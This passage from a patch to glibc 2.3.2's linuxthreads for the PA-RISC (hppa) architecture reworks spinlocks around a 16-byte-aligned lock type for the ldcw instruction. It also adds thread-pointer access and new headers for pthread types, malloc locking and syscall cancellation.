+/* Define lock_held for all arches that don't need a modified copy. */
+#ifndef __LT_INITIALIZER_NOT_ZERO
+# define lock_held(p) *(p)
+#endif
+
+/* Initliazers for possibly complex structures */
+#ifdef __LT_INITIALIZER_NOT_ZERO
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME = __LT_SPINLOCK_ALT_INIT
+#else
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME
+#endif
+
 #if defined(TEST_FOR_COMPARE_AND_SWAP)
 
 extern int __pthread_has_cas;
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   if (__builtin_expect (__pthread_has_cas, 1))
     return __compare_and_swap(ptr, oldval, newval);
@@ -58,7 +72,7 @@
 
 static inline int
 compare_and_swap_with_release_semantics (long * ptr, long oldval,
-					 long newval, int * spinlock)
+					 long newval, __atomic_lock_t * spinlock)
 {
   return __compare_and_swap_with_release_semantics (ptr, oldval,
 						    newval);
@@ -67,7 +81,7 @@
 #endif
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __compare_and_swap(ptr, oldval, newval);
 }
@@ -75,10 +89,10 @@
 #else
 
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __pthread_compare_and_swap(ptr, oldval, newval, spinlock);
 }
diff -urN glibc-2.3.2.orig/linuxthreads/sysdeps/hppa/pspinlock.c glibc-2.3.2/linuxthreads/sysdeps/hppa/pspinlock.c
--- glibc-2.3.2.orig/linuxthreads/sysdeps/hppa/pspinlock.c	2002-08-27 00:52:35.000000000 -0400
+++ glibc-2.3.2/linuxthreads/sysdeps/hppa/pspinlock.c	2003-10-14 02:16:35.000000000 -0400
@@ -24,13 +24,10 @@
 int
 __pthread_spin_lock (pthread_spinlock_t *lock)
 {
-  unsigned int val;
+  volatile unsigned int *addr = __ldcw_align (lock);
 
-  do
-    asm volatile ("ldcw %1,%0"
-		  : "=r" (val), "=m" (*lock)
-		  : "m" (*lock));
-  while (!val);
+  while (__ldcw (addr) == 0)
+    while (*addr == 0) ;
 
   return 0;
 }
@@ -40,13 +37,9 @@
 int
 __pthread_spin_trylock (pthread_spinlock_t *lock)
 {
-  unsigned int val;
+  volatile unsigned int *a = __ldcw_align (lock);
 
-  asm volatile ("ldcw %1,%0"
-		: "=r" (val), "=m" (*lock)
-		: "m" (*lock));
-
-  return val ? 0 : EBUSY;
+  return __ldcw (a) ? 0 : EBUSY;
 }
 weak_alias (__pthread_spin_trylock, pthread_spin_trylock)
 
@@ -54,7 +47,9 @@
 int
 __pthread_spin_unlock (pthread_spinlock_t *lock)
 {
-  *lock = 1;
+  volatile unsigned int *a = __ldcw_align (lock);
+
+  *a = 1;
   return 0;
 }
 weak_alias (__pthread_spin_unlock, pthread_spin_unlock)
@@ -66,7 +61,9 @@
   /* We can ignore the `pshared' parameter.  Since we are busy-waiting
      all processes which can access the memory location `lock' points
      to can use the spinlock.  */
-  *lock = 1;
+  volatile unsigned int *a = __ldcw_align (lock);
+
+  *a = 1;
   return 0;
 }
 weak_alias (__pthread_spin_init, pthread_spin_init)
diff -urN glibc-2.3.2.orig/linuxthreads/sysdeps/hppa/pt-machine.h glibc-2.3.2/linuxthreads/sysdeps/hppa/pt-machine.h
--- glibc-2.3.2.orig/linuxthreads/sysdeps/hppa/pt-machine.h	2002-08-27 00:52:35.000000000 -0400
+++ glibc-2.3.2/linuxthreads/sysdeps/hppa/pt-machine.h	2003-10-14 02:28:12.000000000 -0400
@@ -1,6 +1,6 @@
 /* Machine-dependent pthreads configuration and inline functions.
    hppa version.
-   Copyright (C) 2000, 2002 Free Software Foundation, Inc.
+   Copyright (C) 2000, 2002, 2003 Free Software Foundation, Inc.
    This file is part of the GNU C Library.
    Contributed by Richard Henderson <rth@tamu.edu>.
 
@@ -22,41 +22,94 @@
 #ifndef _PT_MACHINE_H
 #define _PT_MACHINE_H   1
 
+#include <sys/types.h>
 #include <bits/initspin.h>
 
 #ifndef PT_EI
 # define PT_EI extern inline
 #endif
 
-extern long int testandset (int *spinlock);
-extern int __compare_and_swap (long int *p, long int oldval, long int newval);
+extern inline long int testandset (__atomic_lock_t *spinlock);
+extern inline int __compare_and_swap (long int *p, long int oldval, long int newval);
+extern inline int lock_held (__atomic_lock_t *spinlock); 
+extern inline int __load_and_clear (__atomic_lock_t *spinlock);
 
 /* Get some notion of the current stack.  Need not be exactly the top
    of the stack, just something somewhere in the current frame.  */
 #define CURRENT_STACK_FRAME  stack_pointer
 register char * stack_pointer __asm__ ("%r30");
 
-
+/* Get/Set thread-specific pointer.  We have to call into the kernel to
+   modify it, but we can read it in user mode.  */
+ 
+#define THREAD_SELF __get_cr27()
+ 
+static inline struct _pthread_descr_struct * __get_cr27(void)
+{
+  long cr27;
+  asm("mfctl %%cr27, %0" : "=r" (cr27) : );
+  return (struct _pthread_descr_struct *) cr27;
+}
+ 
+#define INIT_THREAD_SELF(descr, nr) __set_cr27(descr)
+ 
+static inline void __set_cr27(struct _pthread_descr_struct * cr27)
+{
+  asm(	"	ble 0xe0(%%sr2, %%r0)\n"
+	"	copy %0,%%r26"
+	: : "r" (cr27) : "r26" );
+}
+ 
+/* We want the OS to assign stack addresses.  */
+#define FLOATING_STACKS	1
+#define ARCH_STACK_MAX_SIZE	8*1024*1024
+ 
 /* The hppa only has one atomic read and modify memory operation,
    load and clear, so hppa spinlocks must use zero to signify that
-   someone is holding the lock.  */
-
-#define xstr(s) str(s)
-#define str(s) #s
+   someone is holding the lock.  The address used for the ldcw
+   semaphore must be 16-byte aligned.  */
+#define __ldcw(a) ({ \
+  unsigned int __ret;							\
+  __asm__ __volatile__("ldcw 0(%2),%0"					\
+                      : "=r" (__ret), "=m" (*(a)) : "r" (a));		\
+  __ret;								\
+})
+
+/* Because malloc only guarantees 8-byte alignment for malloc'd data,
+   and GCC only guarantees 8-byte alignment for stack locals, we can't
+   be assured of 16-byte alignment for atomic lock data even if we
+   specify "__attribute ((aligned(16)))" in the type declaration.  So,
+   we use a struct containing an array of four ints for the atomic lock
+   type and dynamically select the 16-byte aligned int from the array
+   for the semaphore.  */
+#define __PA_LDCW_ALIGNMENT 16
+#define __ldcw_align(a) ({ \
+  volatile unsigned int __ret = (unsigned int) a;			\
+  if ((__ret & ~(__PA_LDCW_ALIGNMENT - 1)) < (unsigned int) a)		\
+    __ret = (__ret & ~(__PA_LDCW_ALIGNMENT - 1)) + __PA_LDCW_ALIGNMENT; \
+  (unsigned int *) __ret;						\
+})
+  
 /* Spinlock implementation; required.  */
+PT_EI int
+__load_and_clear (__atomic_lock_t *spinlock)
+{
+  volatile unsigned int *a = __ldcw_align (spinlock);
+  return __ldcw (a);
+}
+  
+/* Emulate testandset */
 PT_EI long int
-testandset (int *spinlock)
+testandset (__atomic_lock_t *spinlock)
 {
-  int ret;
-
-  __asm__ __volatile__(
-       "ldcw 0(%2),%0"
-       : "=r"(ret), "=m"(*spinlock)
-       : "r"(spinlock));
-
-  return ret == 0;
+  return (__load_and_clear(spinlock) == 0);
 }
-#undef str
-#undef xstr
-
+  
+PT_EI int
+lock_held (__atomic_lock_t *spinlock)
+{
+  volatile unsigned int *a = __ldcw_align (spinlock);
+  return *a == 0;
+}
+	
 #endif /* pt-machine.h */
diff -urN glibc-2.3.2.orig/linuxthreads/sysdeps/pthread/bits/libc-lock.h glibc-2.3.2/linuxthreads/sysdeps/pthread/bits/libc-lock.h
--- glibc-2.3.2.orig/linuxthreads/sysdeps/pthread/bits/libc-lock.h	2003-10-14 02:14:35.000000000 -0400
+++ glibc-2.3.2/linuxthreads/sysdeps/pthread/bits/libc-lock.h	2003-10-14 02:16:35.000000000 -0400
@@ -71,12 +71,12 @@
    initialized locks must be set to one due to the lack of normal
    atomic operations.) */
 
-#if __LT_SPINLOCK_INIT == 0
+#ifdef __LT_INITIALIZER_NOT_ZERO
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME;
+  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
 #else
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
+  CLASS __libc_lock_t NAME;
 #endif
 
 #define __libc_rwlock_define_initialized(CLASS,NAME) \
diff -urN glibc-2.3.2.orig/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h glibc-2.3.2/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h
--- glibc-2.3.2.orig/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	2003-01-02 18:26:03.000000000 -0500
+++ glibc-2.3.2/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	2003-10-14 02:16:35.000000000 -0400
@@ -22,12 +22,14 @@
 #define __need_schedparam
 #include <bits/sched.h>
 
+typedef int __atomic_lock_t;
+
 /* Fast locks (not abstract because mutexes and conditions aren't abstract). */
 struct _pthread_fastlock
 {
-  long int __status;   /* "Free" or "taken" or head of waiting list */
-  int __spinlock;      /* Used by compare_and_swap emulation. Also,
-			  adaptive SMP lock stores spin count here. */
+  long int __status;		/* "Free" or "taken" or head of waiting list */
+  __atomic_lock_t __spinlock;	/* Used by compare_and_swap emulation. Also,
+				   adaptive SMP lock stores spin count here. */
 };
 
 #ifndef _PTHREAD_DESCR_DEFINED
diff -urN libc.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h
--- libc.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h	2002-08-26 18:39:55.000000000 -0400
+++ libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h	2003-10-16 00:37:21.000000000 -0400
@@ -19,9 +19,23 @@
 
 /* Initial value of a spinlock.  PA-RISC only implements atomic load
    and clear so this must be non-zero. */
-#define __LT_SPINLOCK_INIT 1
+#define __LT_SPINLOCK_INIT ((__atomic_lock_t) { { 1, 1, 1, 1 } })
+
+/* Initialize global spinlocks without cast, generally macro wrapped */
+#define __LT_SPINLOCK_ALT_INIT { { 1, 1, 1, 1 } }
+
+/* Macros for lock initializers, not using the above definition.
+   The above definition is not used in the case that static initializers
+   use this value. */
+#define __LOCK_INITIALIZER { __LT_SPINLOCK_ALT_INIT, 0 }
+
+/* Used to initialize _pthread_fastlock's in non-static case */
+#define __LOCK_ALT_INITIALIZER ((struct _pthread_fastlock){ __LT_SPINLOCK_INIT, 0 })
+
+/* Used in pthread_atomic initialization */
+#define __ATOMIC_INITIALIZER { 0, __LT_SPINLOCK_ALT_INIT }
+
+/* Tell the rest of the code that the initializer is non-zero without
+   explaining it's internal structure */
+#define __LT_INITIALIZER_NOT_ZERO
 
-/* Macros for lock initializers, using the above definition. */
-#define __LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
-#define __ALT_LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
-#define __ATOMIC_INITIALIZER { 0, __LT_SPINLOCK_INIT }
diff -urN libc.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h
--- libc.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h	1969-12-31 19:00:00.000000000 -0500
+++ libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h	2003-10-16 00:40:11.000000000 -0400
@@ -0,0 +1,160 @@
+/* Linuxthreads - a simple clone()-based implementation of Posix        */
+/* threads for Linux.                                                   */
+/* Copyright (C) 1996 Xavier Leroy (Xavier.Leroy@inria.fr)              */
+/*                                                                      */
+/* This program is free software; you can redistribute it and/or        */
+/* modify it under the terms of the GNU Library General Public License  */
+/* as published by the Free Software Foundation; either version 2       */
+/* of the License, or (at your option) any later version.               */
+/*                                                                      */
+/* This program is distributed in the hope that it will be useful,      */
+/* but WITHOUT ANY WARRANTY; without even the implied warranty of       */
+/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the        */
+/* GNU Library General Public License for more details.                 */
+
+#if !defined _BITS_TYPES_H && !defined _PTHREAD_H
+# error "Never include <bits/pthreadtypes.h> directly; use <sys/types.h> instead."
+#endif
+
+#ifndef _BITS_PTHREADTYPES_H
+#define _BITS_PTHREADTYPES_H	1
+
+#define __need_schedparam
+#include <bits/sched.h>
+
+/* We need 128-bit alignment for the ldcw semaphore.  At most, we are
+   assured of 64-bit alignment for stack locals and malloc'd data.  Thus,
+   we use a struct with four ints for the atomic lock type.  The locking
+   code will figure out which of the four to use for the ldcw semaphore.  */
+typedef volatile struct {
+  int lock[4];
+} __attribute__ ((aligned(16))) __atomic_lock_t;
+
+/* Fast locks (not abstract because mutexes and conditions aren't abstract). */
+struct _pthread_fastlock
+{
+  __atomic_lock_t __spinlock;	/* Used by compare_and_swap emulation.  Also,
+				   adaptive SMP lock stores spin count here. */
+  long int __status;		/* "Free" or "taken" or head of waiting list */
+};
+
+#ifndef _PTHREAD_DESCR_DEFINED
+/* Thread descriptors */
+typedef struct _pthread_descr_struct *_pthread_descr;
+# define _PTHREAD_DESCR_DEFINED
+#endif
+
+
+/* Attributes for threads.  */
+typedef struct __pthread_attr_s
+{
+  int __detachstate;
+  int __schedpolicy;
+  struct __sched_param __schedparam;
+  int __inheritsched;
+  int __scope;
+  size_t __guardsize;
+  int __stackaddr_set;
+  void *__stackaddr;
+  size_t __stacksize;
+} pthread_attr_t;
+
+
+/* Conditions (not abstract because of PTHREAD_COND_INITIALIZER */
+
+#ifdef __GLIBC_HAVE_LONG_LONG
+__extension__ typedef long long __pthread_cond_align_t;
+#else
+typedef long __pthread_cond_align_t;
+#endif
+
+typedef struct
+{
+  struct _pthread_fastlock __c_lock; /* Protect against concurrent access */
+  _pthread_descr __c_waiting;        /* Threads waiting on this condition */
+  char __padding[48 - sizeof (struct _pthread_fastlock)
+		 - sizeof (_pthread_descr) - sizeof (__pthread_cond_align_t)];
+  __pthread_cond_align_t __align;
+} pthread_cond_t;
+
+
+/* Attribute for conditionally variables.  */
+typedef struct
+{
+  int __dummy;
+} pthread_condattr_t;
+
+/* Keys for thread-specific data */
+typedef unsigned int pthread_key_t;
+
+
+/* Mutexes (not abstract because of PTHREAD_MUTEX_INITIALIZER).  */
+/* (The layout is unnatural to maintain binary compatibility
+    with earlier releases of LinuxThreads.) */
+typedef struct
+{
+  int __m_reserved;               /* Reserved for future use */
+  int __m_count;                  /* Depth of recursive locking */
+  _pthread_descr __m_owner;       /* Owner thread (if recursive or errcheck) */
+  int __m_kind;                   /* Mutex kind: fast, recursive or errcheck */
+  struct _pthread_fastlock __m_lock; /* Underlying fast lock */
+} pthread_mutex_t;
+
+
+/* Attribute for mutex.  */
+typedef struct
+{
+  int __mutexkind;
+} pthread_mutexattr_t;
+
+
+/* Once-only execution */
+typedef int pthread_once_t;
+
+
+#ifdef __USE_UNIX98
+/* Read-write locks.  */
+typedef struct _pthread_rwlock_t
+{
+  struct _pthread_fastlock __rw_lock; /* Lock to guarantee mutual exclusion */
+  int __rw_readers;                   /* Number of readers */
+  _pthread_descr __rw_writer;         /* Identity of writer, or NULL if none */
+  _pthread_descr __rw_read_waiting;   /* Threads waiting for reading */
+  _pthread_descr __rw_write_waiting;  /* Threads waiting for writing */
+  int __rw_kind;                      /* Reader/Writer preference selection */
+  int __rw_pshared;                   /* Shared between processes or not */
+} pthread_rwlock_t;
+
+
+/* Attribute for read-write locks.  */
+typedef struct
+{
+  int __lockkind;
+  int __pshared;
+} pthread_rwlockattr_t;
+#endif
+
+#ifdef __USE_XOPEN2K
+/* POSIX spinlock data type.  */
+typedef __atomic_lock_t pthread_spinlock_t;
+
+/* POSIX barrier. */
+typedef struct {
+  struct _pthread_fastlock __ba_lock; /* Lock to guarantee mutual exclusion */
+  int __ba_required;                  /* Threads needed for completion */
+  int __ba_present;                   /* Threads waiting */
+  _pthread_descr __ba_waiting;        /* Queue of waiting threads */
+} pthread_barrier_t;
+
+/* barrier attribute */
+typedef struct {
+  int __pshared;
+} pthread_barrierattr_t;
+
+#endif
+
+
+/* Thread identifiers */
+typedef unsigned long int pthread_t;
+
+#endif	/* bits/pthreadtypes.h */
diff -urN glibc-2.3.2.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/malloc-machine.h glibc-2.3.2/linuxthreads/sysdeps/unix/sysv/linux/hppa/malloc-machine.h
--- glibc-2.3.2.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/malloc-machine.h	1969-12-31 19:00:00.000000000 -0500
+++ glibc-2.3.2/linuxthreads/sysdeps/unix/sysv/linux/hppa/malloc-machine.h	2003-10-14 02:16:36.000000000 -0400
@@ -0,0 +1,73 @@
+/* HP-PARISC macro definitions for mutexes, thread-specific data 
+   and parameters for malloc.
+   Copyright (C) 2003 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Carlos O'Donell <carlos@baldric.uwo.ca>, 2003.
+   
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef _MALLOC_MACHINE_H
+#define _MALLOC_MACHINE_H
+
+#undef thread_atfork_static
+
+#include <atomic.h>
+#include <bits/libc-lock.h>
+
+__libc_lock_define (typedef, mutex_t)
+
+/* Since our lock structure does not tolerate being initialized to zero, we must
+   modify the standard function calls made by malloc */
+#  define mutex_init(m)		\
+	__libc_maybe_call (__pthread_mutex_init, (m, NULL), \
+		(((m)->__m_lock.__spinlock = __LT_SPINLOCK_INIT),(*(int *)(m))) )
+#  define mutex_lock(m)		\
+	__libc_maybe_call (__pthread_mutex_lock, (m), \
+			(__load_and_clear(&((m)->__m_lock.__spinlock)), 0))
+#  define mutex_trylock(m)	\
+	__libc_maybe_call (__pthread_mutex_trylock, (m), \
+			(*(int *)(m) ? 1 : (__load_and_clear(&((m)->__m_lock.__spinlock)), 0)))
+#  define mutex_unlock(m)	\
+	__libc_maybe_call (__pthread_mutex_unlock, (m), \
+			(((m)->__m_lock.__spinlock = __LT_SPINLOCK_INIT), (*(int *)(m))) )
+	
+/* This is defined by newer gcc version unique for each module.  */
+extern void *__dso_handle __attribute__ ((__weak__));
+
+#include <fork.h>
+
+#ifdef SHARED
+# define thread_atfork(prepare, parent, child) \
+   __register_atfork (prepare, parent, child, __dso_handle)
+#else
+# define thread_atfork(prepare, parent, child) \
+   __register_atfork (prepare, parent, child,				      \
+		      &__dso_handle == NULL ? NULL : __dso_handle)
+#endif
+
+/* thread specific data for glibc */
+
+#include <bits/libc-tsd.h>
+
+typedef int tsd_key_t[1];	/* no key data structure, libc magic does it */
+__libc_tsd_define (static, MALLOC)	/* declaration/common definition */
+#define tsd_key_create(key, destr)	((void) (key))
+#define tsd_setspecific(key, data)	__libc_tsd_set (MALLOC, (data))
+#define tsd_getspecific(key, vptr)	((vptr) = __libc_tsd_get (MALLOC))
+
+#include <sysdeps/generic/malloc-machine.h>
+
+#endif /* !defined(_MALLOC_MACHINE_H) */
diff -urN glibc-2.3.2.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h glibc-2.3.2/linuxthreads/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
--- glibc-2.3.2.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h	1969-12-31 19:00:00.000000000 -0500
+++ glibc-2.3.2/linuxthreads/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h	2003-10-14 02:16:35.000000000 -0400
@@ -0,0 +1,190 @@
+/* Copyright (C) 2003 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Carlos O'Donell <carlos@baldric.uwo.ca>, 2003.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#include <sysdep.h>
+#ifndef __ASSEMBLER__
+# include <linuxthreads/internals.h>
+#endif
+
+#if !defined NOT_IN_libc || defined IS_IN_libpthread || defined IS_IN_librt
+
+# ifndef NO_ERROR
+#  define NO_ERROR -0x1000
+# endif
+
+# undef PSEUDO
+# define PSEUDO(name, syscall_name, args)				\
+  ENTRY (name)								\
+    SINGLE_THREAD_P					ASM_LINE_SEP	\
+    cmpib,<> 0,%ret0,Lpseudo_cancel			ASM_LINE_SEP	\
+    nop							ASM_LINE_SEP	\
+    DO_CALL(syscall_name, args)				ASM_LINE_SEP	\
+    /* DONE! */						ASM_LINE_SEP	\
+    bv 0(2)						ASM_LINE_SEP	\
+    nop							ASM_LINE_SEP	\
+  Lpseudo_cancel:					ASM_LINE_SEP	\
+    /* store return ptr */				ASM_LINE_SEP	\
+    stw %rp, -20(%sr0,%sp)				ASM_LINE_SEP	\
+    /* save syscall args */				ASM_LINE_SEP	\
+    PUSHARGS_##args /* MACRO */				ASM_LINE_SEP	\
+    STW_PIC						ASM_LINE_SEP	\
+    CENABLE /* FUNC CALL */				ASM_LINE_SEP	\
+    ldo 64(%sp), %sp					ASM_LINE_SEP	\
+    ldo -64(%sp), %sp					ASM_LINE_SEP	\
+    LDW_PIC						ASM_LINE_SEP	\
+    /* restore syscall args */				ASM_LINE_SEP	\
+    POPARGS_##args					ASM_LINE_SEP	\
+    /* save r4 in arg0 stack slot */			ASM_LINE_SEP	\
+    stw %r4, -36(%sr0,%sp)				ASM_LINE_SEP	\
+    /* save mask from cenable */			ASM_LINE_SEP	\
+    copy %ret0, %r4					ASM_LINE_SEP	\
+    ble 0x100(%sr2,%r0)					ASM_LINE_SEP    \
+    ldi SYS_ify (syscall_name), %r20			ASM_LINE_SEP	\
+    LDW_PIC						ASM_LINE_SEP	\
+    /* pass mask as arg0 to cdisable */			ASM_LINE_SEP	\
+    copy %r4, %r26					ASM_LINE_SEP	\
+    copy %ret0, %r4					ASM_LINE_SEP	\
+    CDISABLE						ASM_LINE_SEP	\
+    ldo 64(%sp), %sp					ASM_LINE_SEP	\
+    ldo -64(%sp), %sp					ASM_LINE_SEP	\
+    LDW_PIC						ASM_LINE_SEP	\
+    /* compare error */					ASM_LINE_SEP	\
+    ldi NO_ERROR,%r1					ASM_LINE_SEP	\
+    /* branch if no error */				ASM_LINE_SEP	\
+    cmpb,>>=,n %r1,%r4,Lpre_end				ASM_LINE_SEP	\
+    nop							ASM_LINE_SEP	\
+    SYSCALL_ERROR_HANDLER				ASM_LINE_SEP	\
+    ldo 64(%sp), %sp					ASM_LINE_SEP	\
+    ldo -64(%sp), %sp					ASM_LINE_SEP	\
+    /* No need to LDW_PIC */				ASM_LINE_SEP	\
+    /* make syscall res value positive */		ASM_LINE_SEP	\
+    sub %r0, %r4, %r4					ASM_LINE_SEP	\
+    /* store into errno location */			ASM_LINE_SEP	\
+    stw %r4, 0(%sr0,%ret0)				ASM_LINE_SEP	\
+    /* return -1 */					ASM_LINE_SEP	\
+    ldo -1(%r0), %ret0					ASM_LINE_SEP	\
+  Lpre_end:						ASM_LINE_SEP	\
+    ldw -20(%sr0,%sp), %rp             			ASM_LINE_SEP	\
+    /* No need to LDW_PIC */				ASM_LINE_SEP	\
+    ldw -36(%sr0,%sp), %r4				ASM_LINE_SEP
+
+/* Save arguments into our frame */
+# define PUSHARGS_0	/* nothing to do */
+# define PUSHARGS_1	PUSHARGS_0 stw %r26, -36(%sr0,%sp)	ASM_LINE_SEP
+# define PUSHARGS_2	PUSHARGS_1 stw %r25, -40(%sr0,%sp)	ASM_LINE_SEP
+# define PUSHARGS_3	PUSHARGS_2 stw %r24, -44(%sr0,%sp)	ASM_LINE_SEP
+# define PUSHARGS_4	PUSHARGS_3 stw %r23, -48(%sr0,%sp)	ASM_LINE_SEP
+# define PUSHARGS_5	PUSHARGS_4 /* Args are on the stack... */
+# define PUSHARGS_6	PUSHARGS_5
+
+/* Bring them back from the stack */
+# define POPARGS_0	/* nothing to do */
+# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	ASM_LINE_SEP
+# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	ASM_LINE_SEP
+# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	ASM_LINE_SEP
+# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	ASM_LINE_SEP
+# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	ASM_LINE_SEP
+# define POPARGS_6	POPARGS_5 ldw -54(%sr0,%sp), %r21	ASM_LINE_SEP
+
+# ifdef IS_IN_libpthread
+#  ifdef PIC
+#   define CENABLE .import __pthread_enable_asynccancel,code ASM_LINE_SEP \
+			bl __pthread_enable_asynccancel,%r2 ASM_LINE_SEP
+#   define CDISABLE .import __pthread_disable_asynccancel,code ASM_LINE_SEP \
+			bl __pthread_disable_asynccancel,%r2 ASM_LINE_SEP 
+#  else
+#   define CENABLE .import __pthread_enable_asynccancel,code ASM_LINE_SEP \
+			bl __pthread_enable_asynccancel,%r2 ASM_LINE_SEP
+#   define CDISABLE .import __pthread_disable_asynccancel,code ASM_LINE_SEP \
+			bl __pthread_disable_asynccancel,%r2 ASM_LINE_SEP 
+#  endif
+# elif !defined NOT_IN_libc
+#  ifdef PIC
+#   define CENABLE .import __libc_enable_asynccancel,code ASM_LINE_SEP \
+			bl __libc_enable_asynccancel,%r2 ASM_LINE_SEP 
+#   define CDISABLE	.import __libc_disable_asynccancel,code ASM_LINE_SEP \
+			bl __libc_disable_asynccancel,%r2 ASM_LINE_SEP 
+#  else
+#   define CENABLE .import __libc_enable_asynccancel,code ASM_LINE_SEP \
+			bl __libc_enable_asynccancel,%r2 ASM_LINE_SEP 
+#   define CDISABLE	.import __libc_disable_asynccancel,code ASM_LINE_SEP \
+			bl __libc_disable_asynccancel,%r2 ASM_LINE_SEP 
+#  endif
+# else
+#  ifdef PIC
+#   define CENABLE .import __librt_enable_asynccancel,code ASM_LINE_SEP \
+			bl __librt_enable_asynccancel,%r2 ASM_LINE_SEP 
+#   define CDISABLE .import __librt_disable_asynccancel,code ASM_LINE_SEP \
+			bl __librt_disable_asynccancel,%r2 ASM_LINE_SEP 
+#  else
+#   define CENABLE .import __librt_enable_asynccancel,code ASM_LINE_SEP \
+			bl __librt_enable_asynccancel,%r2 ASM_LINE_SEP 
+#   define CDISABLE .import __librt_disable_asynccancel,code ASM_LINE_SEP \
+			bl __librt_disable_asynccancel,%r2 ASM_LINE_SEP 
+#  endif
+# endif	
+
+/* p_header.multiple_threads is +12 from the pthread_descr struct start,
+   We could have called __get_cr27() but we really want less overhead */
+# define MULTIPLE_THREADS_OFFSET 0xC
+
+/* cr27 has been initialized to 0x0 by kernel */
+# define NO_THREAD_CR27 0x0
+			
+# ifdef IS_IN_libpthread
+#  define __local_multiple_threads __pthread_multiple_threads
+# elif !defined NOT_IN_libc
+#  define __local_multiple_threads __libc_multiple_threads
+# else
+#  define __local_multiple_threads __librt_multiple_threads
+# endif
+
+# ifndef __ASSEMBLER__
+ extern int __local_multiple_threads attribute_hidden;
+#  define SINGLE_THREAD_P __builtin_expect (__local_multiple_threads == 0, 1)
+# else
+/* This ALT version requires newer kernel support */
+#  define SINGLE_THREAD_P_MFCTL						\
+	mfctl %cr27, %ret0					ASM_LINE_SEP	\
+	cmpib,= NO_THREAD_CR27,%ret0,Lstp			ASM_LINE_SEP	\
+	nop							ASM_LINE_SEP	\
+	ldw MULTIPLE_THREADS_OFFSET(%sr0,%ret0),%ret0		ASM_LINE_SEP	\
+ Lstp:								ASM_LINE_SEP	
+#  ifdef PIC
+/* Slower version uses GOT to get value of __local_multiple_threads */
+#   define SINGLE_THREAD_P							\
+	addil LT%__local_multiple_threads, %r19			ASM_LINE_SEP	\
+	ldw RT%__local_multiple_threads(%sr0,%r1), %ret0	ASM_LINE_SEP	\
+	ldw 0(%sr0,%ret0), %ret0 				ASM_LINE_SEP
+#  else
+  /* Slow non-pic version using DP */
+#   define SINGLE_THREAD_P								\
+	addil LR%__local_multiple_threads-$global$,%r27  		ASM_LINE_SEP	\
+	ldw RR%__local_multiple_threads-$global$(%sr0,%r1),%ret0	ASM_LINE_SEP
+#  endif	
+# endif
+#elif !defined __ASSEMBLER__
+
+/* This code should never be used but we define it anyhow.  */
+# define SINGLE_THREAD_P (1)
+
+#endif
+/* !defined NOT_IN_libc || defined IS_IN_libpthread */
